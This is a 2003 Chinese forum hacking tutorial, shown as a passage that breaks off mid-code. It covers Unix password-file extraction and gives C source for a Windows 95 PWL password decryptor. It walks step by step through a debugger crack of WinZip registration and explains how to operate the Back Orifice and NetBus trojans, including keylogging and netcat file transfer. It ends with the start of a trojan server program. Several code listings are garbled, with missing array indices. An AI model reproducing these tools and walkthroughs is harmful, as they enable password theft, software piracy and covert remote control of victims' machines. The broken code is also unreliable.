无忧启动论坛

 找回密码
 注册
搜索
系统gho:最纯净好用系统下载站投放广告、加入VIP会员,请联系 微信:wuyouceo
查看: 632|回复: 0
打印 上一主题 下一主题

黑客技术(四)

[复制链接]
跳转到指定楼层
1#
发表于 2003-9-17 23:27:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
口令破解
第一节 口令破解器
口令破解器是一个程序,它能将口令解译出来,或者让口令保护失效。口令破解器一般并不是真正地去解码,因为事实上很多加密算法是不可逆的。
也就是说,光是从被加密的数据和加密算法,不可能从它们身上反解出原来未加密的数据。其实大多数口令破解器是通过尝试一个一个的单词,用知道的加密算法来加密这些单词,直到发现一个单词经过加密后的结果和要解密的数据一样,就认为这个单词就是要找的密码了。
这就是目前最有效的方法。这种方法之所以比想象得有效得多的原因是:
许多人在选择密码时,技巧性都不是很好。许多人还认为他的私人数据反正没有放在网上,所以,密码选择也比随便。其实,一个用户在一个系统里有一个帐号,就是一个通入系统的门。如果,其中一个的密码不安全,则整个系统也就是不安全的。由于用户的密码的设置往往都是一些有意义的单词,或者干脆就是用户名本身,使得破解器的尝试次数大为降低。
许多加密算法在选择密钥时,都是通过随机数算法产生的。但往往由于这个随机数算法并不是真正意义上的随机数,从而大大降低了这个随机性,从而为解密提供了一些列的方便。比如,本来,需要尝试1000次,但由于上述随机性并不好,结果使得只需尝试1000次就能成功。
还有一个原因是目前计算机的速度相当的快,而且,互联网的存在,使得协同进行解密的可能性大为增加。这样强的计算能力用到解密上,造成了破解的时间大为降低。
通过上述分析,可见,从理论上来讲,任何密码都是可以破解的,只是一个时间的问题。对于一些安全性较低的系统,速度通常很快。
对于那种需要一个口令或注册码才能安装软件的情况,口令破解会显得更为简单。这种情况你可能会经常遇到。比如安装一个微软的软件,在安装过程中通常需要你输入一个CD-Key,如果这个CD-Key是正确的,那么它就开始安装。如果非法的,那么就退出安装。
通常有两种方法可以使这种方式失效。
一种是修改安装程序。因为这种方法的流程一般是在安装的时候先弹出一个对话框,请求输入CD-Key。接着程序会对输入的CD-Key进行运算,最后根据得到的结果决定是继续安装还是退出。现在有很多调试软件,它们提供丰富的调试功能,如单步执行,设置断点等等。一个比较好的软件是Soft-ICE。在运行安装程序之前,可以在调试软件里设置在系统弹出CD-Key输入对话框的时候停止执行。接着就可以用调试器跟踪代码的执行,将CD-Key判断部分整个的跳过去,直接进入安装程序。
另一个方法就是算法尝试。由于安装程序要对CD-Key进行运算,判断其合法性。因此,只要知道CD-Key的算法,就能轻而易举的进入。
已经有人对为软的这种算法进行了探讨。发现这些算法策略很简单。
第二节 口令破解器是怎样工作的
要知道口令破解器是如何工作的,主要还是要知道加密算法。正如上面所说的,许多口令破解器是对某些单词进行加密,然后在比较。
可以将口令破解器用下面的图来表示:
 
侯选口令产生器的作用是产生认为可能是密码的单词。通常有好几种方法产生侯选密码。一种是从一个字典里读取一个单词。这种方法的理论根据是许多用户由于取密码有些不是很明智,比如将自己的名字,或者用户名,或者一个好记住的单词等等。所以,攻击这通常都将这些单词收集到一个文件里,叫做字典。在破解密码是,从这些字典里取出侯选密码。
另一种方法是用枚举法来产生这样的单词。通常从一个字母开始,一直增加,知道破解出密码为止。这里,通常要指定组成密码的字符集,比如从A-Z,0-9等等。为了便于协同破解密码,常常需要为密码产生器指定产生的密码的范围。
口令加密就是用一般的加密算法对从口令侯选器送来的单词进行加密。通常,对于攻击不同的系统,要采用不同的加密算法。加密算法有很多,通常是不可逆的。这就是造成了为什么口令破解器使用的是这种结构。
口令比较就是将从口令加密里出来的密文和要破解的密文进行比较。如果一致,那么当前侯选口令发生器中出来的单词就是要找的密码。如果不一致,则口令发生器再产生下一个侯选口令。
下面我们分别介绍Unix和Windows 95屏幕保护程序的密码算法。同时给出破解的源程序。另外还介绍Windows
NT口令破解方法。最后再举一个软件注册码破解实例。
Unix口令破解简介
首先讲讲怎样在Unix下得到口令文件。
在标准的Unix系统中,口令文件是/etc/passwd。但是在使用NIS/yp或shadow的系统时,口令数据可能放在别的地方。
口令文件中的每一条目包含7个分号搁开的区域:
用户名
加密的password,口令有效期
用户号码
组号码
GECOS信息
Home目录
Shell
  下面举个实例:
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
  上面这个条目包含了下面的信息:
用户名: will
加了密的口令: 5fg63fhD3d5gh
用户号码: 9406
组号码: 12
GECOS信息: Will Spencer
Home目录: /home/fsg/will
Shell: /bin/bash
当入侵者拿到了这个密码文件后,就开始对密码进行破解。当用户登录系统时,Unix将password的内容读入,并对这个密码进行加密,并将运算结果和口令文件中的相比较。
Unix口令破解器的基本结构就是我们前面分析的那种结构。目前较为流行的是John程序。他运行在Windows系统下,并且能很快的破解密码。
那么,对于shadow的口令怎么办呢?口令shadow是指将口令文件中的加了密的口令密文部分用一个特殊的符号表示,真正的密文放在另一个单独的文件里,一般的用户无法读到这个文件。
为了能读到这个文件,写一个程序,通过调用getpwent()函数来得到这个文件。程序举例如下:
#include < pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
  那么这个shadow文件放在哪个目录下面呢?
Unix Path Token
-----------------------------------------------------------------
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
SCO Unix #.2.x /tcb/auth/files/< first letter *
of username>/< username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
< optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
  对于NIS/yp又怎样呢?
  现在的NIS (Network Information System)以前也叫yp (Yellow
Pages)。NIS的目的是允许一个网络上的多台计算机共享配置信息,包括口令数据。NIS的目的是提高系统的安全性。如果你使用的系统是NIS的,那么,口令文件相当小,看上去可能就是:
+::0:0:::
  如果要看真正的口令,需要使用命令:"ypcat passwd"
  在有的口令文件中,还包含一项数据--口令有效期。口令有效期的目的是促使用户在一定的时间后更改口令。这样就能提高系统的安全性。
  /etc/passwd文件中如果保存口令有效期数据的话,这个条目看上去是这样的。
will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
上面这个条目中,密文后面有一个逗号,逗号后面的便是口令有效期了。这里是:
M.z8
  对这四个字符的解释如下:
1.口令可以不改变而存在的最大的周数。
2.口令在改变之前必须使用的最小的周数。
3&4.口令上次改变的时间,以从1970年算起的周数。
如果1和2设置成"..",表示,下次登录的时候,必须改变口令了。随后口令管理程序会将口令有效期移去,这样,用户以后就没有口令有效期的限制了。
如果3和4设置成"..",表示下次登录时,必须改变口令。口令有效期由前两个字符表示。
如果第一个字符小于第二个字符,就不允许用户改变口令了。只有root才有权力改变这个用户的口令。必须注意,su命令并不检查口令有效期。一个过期的口令可以在使用su是,没有被迫改变口令的要求。
口令有效期代码
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
Windows 95屏幕保护口令密码破解简介
Window95共享目录口令与屏幕保护口令的加密方法是相同的。共享目录的口令密文放在注册表的HKEY_LOCAL_MACHINE_version\u30446目录名enc和Parm2enc两位置,但有时注册库里缺少最后一个字符的密文。明文与数列(前八个数是35,9a,4d,a6,53,a9,d4,6a)作异或运算即得密文。屏幕保护程序的口令密文放在注册表的HKEY_CURRENT_USERS_Data下面。
关于PWL文件的一些说明:14个字符长的密码(均转为大写),用它生成一个32位的密钥,由以下算法求得一个XOR串,接下来用此XOR串 XOR
20字节长的UserName(也转为大写), 结果存于PWL文件offset 0x208-0x21B,
0x21C开始为一系列指向资源串的指针(当然已XOR过了)。资源串中保存的主要是该USER的一些共享目录的口令,资源串也分别与XOR串 XOR。
由注册表数据库system.dat极易解出共享目录,
因此若Win95目录被共享(不需口令)则解出其余需口令的目录就变得比较简单了。但Win95目录没共享怎么办呢?用一个叫 glide
的程序,对从将别的机器上拷回来的PWL文件进行解密。用glide解其资源,很有可能找到所需的password。
但glide程序在反解资源指针时有点问题。下面的程序对glide进行了一点改进。在password未知情况下的反解并不能保证对(这种反解利用了M$的愚蠢的错误,将同一
Xor串用于加密许多不同串), 但在大多情况下应没问题。本程序来自《水木清华》BBS,并已略加改动。
#include < stdio.h>
#include < string.h>
#include < ctype.h>
#include < dir.h>
unsigned char Data[10001]; // pwl file buffer, 10K should enough!
unsigned char keystream[1001]; // xor key stream
int Rpoint[300]; // Resource pointers
int size,maxr,cracked;
void RecoverKeyStream()
{
int sizemask,i,rsz,pos;
int Rall[300];
int keylen,len;
/* find allocated recources */
sizemask=keystream[0]+(keystream[1]< < 8);
for(i=0;i< 256;i++) Rall=0;
maxr=-1;
for(i=0x109;i< 0x208;i++)
{
if(Data!=0xff)
{
Rall[Data]++;
if (Data>maxr) maxr=Data;
}
}
if (maxr == -1) return; // no resource
maxr=(((maxr/16)+1)*16);
// recource pointer table size appears to be divisable by 16
/* search after recources */
keylen = 2 * maxr + 20 + 2;
Rpoint[0]=0x0208+keylen; /* first recource */
for(i=0;i< maxr;i++)
{
/* find size of current recource */
pos=Rpoint;
if (pos >= size)
{
printf("Decrypt pwl file error!");
maxr = i;
break;
}
rsz=Data[pos]+(Data[pos+1]< < 8);
rsz^=sizemask;
pos+=rsz+2;
if(i< maxr-1)
{
while(pos < size)
{
len = (*(unsigned int*)(Data+pos)) ^ sizemask;
if (Rall[i+1] == 0 && len == 0)
break; // correct position
if (Rall[i+1] > 0 && len >= 2 && len < = keylen)
break; // may be correct position ?
pos+=2; // else, increase by 2
}
}
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* insert Table data into keystream */
for(i=0;i < = maxr;i++)
{
keystream[20+2*i]^=Rpoint & 0x00ff;
keystream[21+2*i]^=(Rpoint >> 8) & 0x00ff;
}
cracked+=maxr*2+2;
}
void DecryptResources()
{
int i,j,rsz;
/* decrypt resources */
for(i=0;i< maxr;i++)
{
rsz=Rpoint[i+1]-Rpoint;
if (rsz>cracked) rsz=cracked;
if (rsz > 2)
{
printf("Recource[%02d] (length: %02d)",i,rsz);
for(j=0;j< rsz;j++)
{
unsigned char c = Data[Rpoint+j]^keystream[j];
printf("%c", c >= 0x20 && c < = 0x7e ? c : '.');
}
printf("");
}
}
}
int main (int argc,char *argv[])
{
struct ffblk ffblk;
int i,done,index = 0;
FILE *fd;
char *name,ch;
if (argc< 2)
{
printf("Usage: Pwl pwlfile(s) (eg: *.pwl)");
return 1;
}
done = findfirst(argv[1],&ffblk,0);
while (!done)
{
name = ffblk.ff_name;
printf("----------File %2d: %11s------------", ++index,name);
/* read PWL file */
fd=fopen(name,"rb");
if (fd==NULL)
printf("can't open file %s",name);
else
{
size=0;
while(!feof(fd))
{
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);
/* copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked< 0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(keystream,Data+0x208,cracked);
/* generate 20 bytes of keystream */
for(i=0;i< 20;i++)
{
ch=toupper(name);
if(ch==0) break;
if(ch=='.') break;
keystream^=ch; // xor UserName
}
cracked=20;
RecoverKeyStream();
// recover key stream (54 bytes or more)
if (maxr == -1)
printf("No resource!");
else DecryptResources();
}
done = findnext(&ffblk);
}
return 0;
}
第三节 注册码破解
下面将有关注册码破解的问题。这需要能熟练使用调试软件及有关计算机程序设计的知识。这里只是一个示范讲解。
破解WinZip 6.3 SR-1 (32-bit)
============================
1. 运行WinZip, 选Agree, 选HELP, 选About WinZip, 按R,
Username: 输入 Winter Lee
Register code: 输入 48319840 (随个人习惯)
2. 使用 Ctrl-D 进入WinICE 设断点
BPX HMEMCPY
按F5返回到WinZip中
3. 按OK, 立即被Winice中断
4. 取消断点
BD *
5. 按F12多次, 按F8跟踪进CALL 004096EA中
6. 按F10多次, 运行完CALL 004098C3后, 下指令
D AX
显示一个字符串: 45260FF8
7. 继续按F10运行完CALL 004099E6后, 下指令
D AX
又显示一个字符串: 49041381
8. 怀疑上述两个字符串即是正确的注册码, 重新输入
Username: Winer Lee
Register number: 49041381
注册成功! 用45260FF8 同样成功
第九章 
特洛伊木马实例及其简单实现
  这里介绍一个比较阴险的威胁网络安全的方法:特洛伊木马(trojan horse,或trojan)。
第一节 什么是特洛伊木马
  特洛伊木马是一个程序,它驻留在目标计算里。在目标计算机系统启动的时候,自动启动。然后在某一端口进行侦听。如果在该端口受到数据,对这些数据进行识别,然后按识别后的命令,在目标计算机上执行一些操作。比如窃取口令,拷贝或删除文件,或重新启动计算机。
  攻击者一般在入侵某个系统后,想办法将特洛伊拷贝到目标计算机中。并设法运行这个程序,从而留下后门。以后,通过运行该特洛伊的客户端程序,对远程计算机进行操作。
  特洛伊木马的一个特点是,它能巧妙地运行在目标计算机系统里,而不容易被发现。
  现在有许多这样的程序。如NetCat,Back Orifice,NetBus等等。
Back Orifice
Back Orifice简介
  Back Orifice是Cult of the Dead Cow
(cDc)在1998年8月3日发布的。目前的下载量达到了100,000。许多人都在善意或恶意地使用这个程序。尽管这个程序并不是最优秀的黑客工具,但由于媒体的炒做,使得这个工具给人么一个很坏的印象。
  Back
Orifice被称为“远程管理工具”。它可以附加在别的文件或程序后,也可以单独运行。它的服务器程序必须在目标计算机上运行之后,才能起到作用。一旦运行后,用户就不大容易感觉到它的存在。在任务列表里,根本就看不到它。该工具的服务器运行后,就一直在一个端口侦听从客户机来的命令,根据不同的命令,在目标机器上执行相应的操作。
Back Orifice的使用
  Back
Orifice(以下简称BO)是一个客户机/服务器(C/S)应用程序,其客户机程序(以下简称BO客户机)可以监视、管理和使用其它网络中运行服务器程序(以下简称BO服务器)的目标计算机所在的网络资源。基于文本和基于图形的BO客户机是运行在Microsoft
Windows机器上。当前版本的BO服务器只能在Windows 95/98中运行。
Back Orifice软件包里包括:
bo.txt 软件包说明文档。
plugin.txt 插件编程文档。
boserve.exe Back Orifice服务器自安装程序。
bogui.exe 图形界面的Back Orifice客户机。
boclient.exe 文本界面的Back Orifice客户机。
boconfig.exe 配置BO服务器程序文件名、端口、密码和插件的工具。
melt.exe 对由freeze命令压缩的文档解压缩。
freeze.exe 压缩文档。压缩文档可被metl命令解压缩。
  只要运行BO服务器程序,就可以安装BO服务器了。当BO服务器程序运行时,它安装BO服务器,然后删除自安装程序。此方法有助于网络环境下的安装:只要BO服务器程序被复制到Startup目录下就行了(译者注:因为Windows
95/98每次启动时都会运行该目录下的程序)。因为BO服务器程序在自安装BO服务器后就会删除自已。一旦BO服务器被安装到一台机器上,它会在每次机器启动时运行。
  需要远程更新Back Orifice时,只要上载新版本的BO服务器程序到远程机上,使用Process
spawn命令运行它。一旦运行,BO服务器程序将自动删除与它将要安装的文件同名的文件,安装自已(覆盖旧版本),然后在安装目录中运行自己,最后删除BO服务器程序。
  在安装前,可以配置BO服务器程序的一些参数。如安装后的BO文件名、监听端口、加密密码,都可以使用boconfig.exe工具配置。如果不进行配置,缺省是监听31337端口、不使用加密密码(数据包仍然会加密)和以"
.exe"文件名安装。
  BO客户机通过加密了的UDP包与BO服务器通讯。要实现成功通讯,BO客户机城建发送数据到BO服务器监听的端口,而且BO客户机密码必须匹配BO服务器已配置好的密码。
  基于图形和文本的BO客户机都可以通过使用-p选项来设置BO客户机数据包的发送端口。如果数据包被过滤或者有防火墙屏蔽,就可能需要从一个特别的、不会被过滤和屏蔽的端口发送。如果UDP连接通讯不能成功,则可能是数据包在发送或回送路径中被过滤或者屏蔽了。
  从BO客户机向特定的IP地址发送命令即可对BO服务器操作。如果BO服务器无静态IP地址,则可使用以下方法:
(1) 在基于文本的BO客户机使用sweep或sweeplist命令;
(2) 在基于图形的BO客户机使用"Ping..."对话框;
(3)
设定目标IP如"1.2.3.*"。如果扫描子网列表,当有BO服务器响应时,BO客户机在子网列表目录中浏览,并显示所匹配的行和子网地址。(译者注:虽然我知道如何使用,但却无法按原文的内容表达出来。我在以后再作详细说明。)
  以下是在现在版本的Back
Orifice中已经实现的命令。在基于图形和基于文本的BO客户机里有些命令名称不相同,但几乎所有命令的语法格式都是一致的。在基于文本的BO客户机中输入
"help
command"可得到更多关于命令的信息。在基于图形的BO客户机中有两个参数输入区域,这些参数作为在"Command"列表中所选择的命令的参数。如果未给出命令所需要的参数,BO服务器将返回"Missing
data"(丢失数据)。
Back Orifice命令如下:
(基于图形的BO客户机命令/基于文本的BO客户机命令)
App add/appadd
在TCP端口输出一个基于文本的应用程序。它允许你通过Telnet对话控制基于文本或DOS的应用程序。
App del/appdel从监听的连接中关闭一个应用程序。
Apps list/applist列出当前监听的连接中的应用程序。
Directory create/md创建目录
Directory list/dir列出文件和目录。如要显示多文件/目录则须使用通配符。
Directory remove/rd删除目录
Export add/shareadd在BO服务器上创建一个“出口”(共享)。被输出(共享)的目录或驱动器图标不会出现共享图标。
Export delete/sharedel删除一个(共享)“出口”。
Exports list/sharelist列出当前共享名、共享驱动器、共享目录、共享权限和共享密码。
File copy/copy拷贝文件。
File delete/del删除文件。
File find/find在目录中查找符合条件(支持通配符)的文件。
File freeze/freeze压缩文件。
File melt/melt解压缩文件。
File view/view查看文件内容。
HTTP Disable/httpoff使HTTP服务器失效。
HTTP Enable/httpon使HTTP服务器有效。
Keylog begin/keylog将BO服务器上的击键记录在一个文本文件中,同时还记录执行输入的窗口名。
Keylog end停止击键记录。基于文本的BO客户机使用"keylog stop"命令。
MM Capture avi/capavi从视频输入设备(如果存在)捕捉视频和音频信号到avi文件中。
MM Capture frame/capframe从视频输入设备捕捉一个视频帧到一个位图文件中。
MM Capture screen/capscreen捕捉BO服务器屏幕影像到一们位图文件中。
MM List capture devices/listcaps列出视频输入设备。
MM Play sound/sound在BO服务器上播放一个avi文件。
Net connections/netlist列出当前接入和接出的连接。
Net delete/netdisconnect断开BO服务器的一个网络资源连接。
Net use/netconnect把BO服务器连接到一个网络资源。
Net view/netview查看BO服务器上所有的网络接口、域名、服务器和可见的共享“出口”。
Ping host/pingPing主机。返回主机名和BO版本。
Plugin execute/pluginexec运行BO插件。运行不符合BO插件接口的函数可能使B)服务器当机。
Plugin kill/pluginkill命令一个插件关闭。
Plugins list/pluginlist列出当前激活的插件和已存在的插件返回值。
Process kill/prockill终止一个进程。
Process list/proclist列出运行中的进程。
Process
spawn/procspawn运行一个程序。在基于图形的BO客户机程序中,如果需要确定第二个参数,进程可能以一个正常的、可见的方式运行,否则进程的运行将是隐蔽或独立的。
Redir add/rediradd重定向接入的TCP连接或UDP数据包到另一个IP地址。
Redir del/redirdel停止端口重定向。
Redir list/redirlist列出激活的端口重定向。
Reg create key/regmakekey在注册表中创建中一个主键。
注:对于所有的注册表命令,不要在注册表键值前加入前导"\"。
Reg delete key/regdelkey从注册表中删除一个主键。
Reg delete value/regdelval删除注册表中的一个键值。
Reg list keys/reglistkeys列出注册表中一个主键下的子键。
Reg list values/reglistvals列出注册表中一个主键的键值。
Reg set
value/regsetval设置注册表一个主键的一个键值。键值格式为“类型,值”。对于二进制值(类型为B),值是一个两位的16进制数;对于DWORD(双字)值(类型为D),值是一个十进制数;对于字符串值(类型为S),值是一个文本串。
Resolve host/resolve解析BO服务器的主机名的IP地址。主机名可能是一个Internet主机名或本地网络机器名。
System dialogbox/dialog用所给出的文本和一个"OK"按钮,
在BO服务器上创建一个对话框。可以创建任意多的对话框,对话框的显示是堆叠式的。
System
info/info显示BO服务器上的系统信息。包括机器名、当前用户、CPU类型、内存容量及可用内存、Windows版本、驱动器信息(类型(硬盘、CDROM、可拆卸型、远程驱动器)、硬盘驱动器容量及未使用空间)。
System lockup/lockup锁住BO服务器机器。
System
passwords/passes显示被缓存的当前用户密码和屏幕保护密码。所显示的密码中可能含有一些无用信息。(译者注:如果密码未被系统缓存,则不能显示密码。)
System reboot/reboot关闭BO服务器主机并重启动。
TCP file receive/tcprecv将BO服务器主机连接到一个特定的IP地址和端口,并保存所接收到的数据到特定文件中。
TCP file send/tcpsend将BO服务器主机连接到一个特定的IP地址和端口,发送特定文件中的内容,然后断开此连接。
注:对于TCP文件传输,必须监听特定的IP地址和端口,直到TCP文件命令被发送,否则传输将会失败。
从BO服务器传输文件,可使用TCP文件发送命令和如下格式的netcat命令:
netcat -l -p 666 > file
传输文件到BO服务器,可使用TCP文件接收命令和如下格式的netcat命令:
netcat -l -p 666 < file
注:Win32版本的netcat命令在到达输入文件末部时并不断开连接。因此应在文件内容传输完毕后用ctrl-c或ctrl-break终止netcat命令。
BOConfig:
  BOConfig.exe允许在BO服务器安装前配置一些可选项。首先询问BO服务器在系统目录中安装的可执行文件名。它不一定是.exe,但如果你不给出扩展名,它不会自动添加.exe扩展名;接着询问exe文件的描述,它描述了在注册表中记录的、系统启动时运行的exe文件;接着询问BO服务器监听(数据包)端口;接着询问用于加密的密码。要实现BO客户机到BO服务器的通讯,客户机必须配置有相同的密码,此密码可以为空;接着询问启动时缺省运行的插件。这个在BO服务器启动时自动运行的BO插件是以"DLL:_Function"格式定义的DLL和函数。此项可以为空;然后让你输入启动时传送给插件的参数,此项也可以为空;最后,询问被附加到BO服务器上的文件的路径。该文件将在BO服务器启动时写入系统目录。此文件可以是一个自动启动的BO插件。
  BO服务器在没有进行配置时也能运行。缺省地,安装BO服务器文件名为" .exe",无密码,使用端口31337通讯。
已知的Bugs和问题:
  多媒体捕捉屏幕——所产生的位图是按BO服务器端的显示分辨率和像素深度保存的。因此,它可能是16位或24位颜色的。大多数图形应用程序只能处理8位或32位位图,因而不能打开此位图,或者显示不正常(此类软件包括Graphics
Workshop for Windows、Photoshop和WANG Imaging distributed with
Windows)。但是,Windows本身有一个应用程序Paint.exe可以浏览这些位图,按其提示操作即可。
  击键记录——很显然,MS-DOS窗口未提供信息循环机制,这就使得BO无法记录输入到其中的击键。
  基于文本的应用程序的TCP重定向——有几个Bugs。
当用command.com的重定向名柄输出command.com时,系统同时输出REDIR32.EXE,此程序似乎是无法终止的。这可能是由于操作系统接口与一个tsr模块(该模块在DOS对话中被装载以重定向输入/输出句柄)通讯所造成的。因此,如果在应用程序被终止(或退出)前终止TCP连接,REDIR32.exe和WINOA386.MOD(用于封装管理旧16位应用程序)将仍然运行,BO和操作系统均无法终止它们。这会导致系统显示"Please
wait..."(请等待)屏幕且无法关机。
  某些控制台应用程序重定向了输出时也可能会发生问题,如FTP.exe和boclient.exe。虽然程序的输出因此而不能传送出去,但仍然可能传送输入,所以你要通过TCP对话使该程序退出。否则使用BO杀死该进程。
Back Orifice的检查和清除
  打开注册表编辑器,检查HKEY_LOCAL_MACHINE主键的键值。如果你在主键看到的如下的一个键值:
Name Data
(缺省) " .exe" (一个空格,一个点号和exe后缀)
  那么你可能已经感染上了Back Orifice了。然后在C:目录下,如果发现一个"
.exe"文件,文件大小为122K左右,那么你肯定感染了这个程序了。
  清除的方法很简单。首先将上述主键中的有关" .exe"的项目删除,然后重新启动计算机。接着,将C:下的"
.exe"删除,最后,找一个叫WINDLL.DLL的文件,也将它删除。
  注意,有可能你的系统里有好几个Back Orifice的拷贝,要逐一清除。
NetBus
  Netbus 是一个类似于著名的 Back Orifice 的黑客软件,区别在于它的能力要强出太多。Netbus 通过 TCP/IP
协议,可以远程将应用程序指派到某一套接字端口来运行。这就相当于说可以远程运行目标机器上的 cmd.exe,想想这是多么危险的事情。
  如果不是 the Cult of the Dead Cow 黑客组织在1998年的 DefCon 大会上发布 BackOrifice
工具而引起轩然大波的话,可能大多数人还不会注意到三月份发行的 Netbus。据说 Netbus 是瑞典程序员 Carl-Fredrik Neikter
为了“和朋友们消遣”而编写的。
  粗粗一看,Netbus 似乎没什么危害,只允许黑客控制鼠标,播放声音文件,甚或打开 CD-ROM
托架。但如果深入分析,就不难发现其中大量的破坏性功能,特别它是基于 TCP/IP 协议在 Windows 95、Windows 98、和 Windows NT
上运行的(与 BackOrifice 不同),这大大增加了各种入侵用户系统的可能性。
  Netbus 1.6 版能实现一些相当危险的操作:黑客能够运行远程程序,进行屏幕抓图,在所侵入的计算机浏览器中打开
URL,显示位图,进行服务器管理操作(如更改口令),甚至利用远端的麦克风录制一段声音。更可怕的是:它能在侵入的计算机上显示信息,向毫无戒心的用户提示输入口令,再把该口令返回到入侵者的屏幕上。Netbus
还能关闭 Windows 系统,下载、上载或删除文件。
  11 月 14 日发行 的 Netbus 1.7
新增了更多不正当的功能。如:重定向功能(Redirection)使黑客能够控制网络中的第三台机器,从而伪装成内部客户机。这样,即使路由器拒绝外部地址,只允许内部地址相互通信,黑客也依然可以占领其中一台客户机并对其它无数台机器进行控制。
  V1.7 甚至还能指派应用软件至某个端口。以前只有 Netcat — 黑客的梦幻工具— 用于 Unix 和 NT 时才具有这种功能。例如,黑客可以将
cmd.exe 指派至 Telnet port 23,然后 Telnet 进入该机器,从而接管系统的命令提示符。其危险后果不言自明。
  Netbus 的默认状态是在 port 12345 接收指令,在 port 12346 作应答。Telnet
登录到接收端口就会看到产品名称及版本号,还可以修改口令。Netbus 能通过编辑 patch.ini 配置文件,把 1 到 65535
之间的任意数字指定为端口。当需要绕过防火墙或路由过滤器时,端口通常就会设为 53(DNS)或 80(HTTP)。
  所有的特洛伊木马都分成两个部分:服务器和客户机。
  V1.7版本的NetBus的服务器的默认文件名是patch.exe。运行这个程序后,它将自己拷贝到Windows目录下,并从中解开一个叫KeyHook.dll的动态连接库。默认的,它创建一个主键HKEY_CURRENT_USER。并在HKEY_LOCAL_MACHINE下创建了一个键,它的值是patch.exe文件的路径名。这使得在每次系统启动时,都能自动运行patch.exe这个程序。除此外,还创建下面两个键:HKEY_CURRENT_USER和HKEY_CURRENT_USER
  按照上面的描述,清除方法就自然出来了。
第二节 特洛伊木马的一个简单实现
通过上面的两个实例介绍,基本上就能看出特洛伊木马的工作原理。这里我们仅仅介绍用Winsock实现的一个客户机程序和一个服务端程序。
这个实例中的服务器在接到客户机的命令后会重新启动计算机。
  可以在这两个程序的基础上,加入一些命令,对目标系统进行一些修改。比如拷贝文件等等。
  这两个程序是从微软的MSDN上拿下来的,略微作了点增加。在VC++6.0中编译运行的。注意在连接的时候要加入:wsock32.lib库。
ExitWindowsEx 函数介绍
ExitWindowsEx函数的功能是关闭系统,注销用户和重新启动系统。
它的函数原型是:
BOOL ExitWindowsEx( UINT uFlags, DWORD dwReserved);
第一个参数用来指定操作的类型。
常见的有下面几个:
EWX_POWEROFF:关闭系统及关闭电源。
EWX_REBOOT:重新启动计算机。
EWX_SHUTDOWN:关闭系统,但不关闭电源。
第二个参数可以指定任意值,并没有特定意义。
具体有关在Linux和Windows下进行SOCKET编程的细节,请参见相关章节。
服务器程序:
#include < windows.h>
#include < winsock.h>
#define PORTNUM 5000 // Port number
#define MAX_PENDING_CONNECTS 4 // Maximum length of the queue
// of pending connections
int WINAPI WinMain (
HINSTANCE hInstance, // Handle to the current instance
HINSTANCE hPrevInstance,// Handle to the previous instance
LPTSTR lpCmdLine, // Pointer to the command line
int nCmdShow) // Show state of the window
{
int index = 0, // Integer index
iReturn; // Return value of recv function
char szServerA[100]; // ASCII string
TCHAR szServerW[100]; // UNICODE string
TCHAR szError[100]; // Error message string
SOCKET WinSocket = INVALID_SOCKET, // Window socket
ClientSock = INVALID_SOCKET; // Socket for communicating
// between the server and client
SOCKADDR_IN local_sin, // Local socket address
accept_sin; // Receives the address of the
// connecting entity
int accept_sin_len; // Length of accept_sin
WSADATA WSAData; // Contains details of the Windows
// Sockets implementation
// Initiate Windows Sockets.
if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
wsprintf (szError, TEXT("WSAStartup failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// Create a TCP/IP socket, WinSocket.
if ((WinSocket = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// Fill out the local socket's address information.
local_sin.sin_family = AF_INET;
local_sin.sin_port = htons (PORTNUM);
local_sin.sin_addr.s_addr = htonl (INADDR_ANY);
// Associate the local address with WinSocket.
if (bind (WinSocket,
(struct sockaddr *) &local_sin,
sizeof (local_sin)) == SOCKET_ERROR)
{
wsprintf (szError, TEXT("Binding socket failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}
// Establish a socket to listen for incoming connections.
if (listen (WinSocket, MAX_PENDING_CONNECTS) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT("Listening to the client failed. Error: %d"),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}
accept_sin_len = sizeof (accept_sin);
// Accept an incoming connection attempt on WinSocket.
ClientSock = accept (WinSocket,
(struct sockaddr *) &accept_sin,
(int *) &accept_sin_len);
// Stop listening for connections from clients.
closesocket (WinSocket);
if (ClientSock == INVALID_SOCKET)
{
wsprintf (szError, TEXT("Accepting connection with client failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
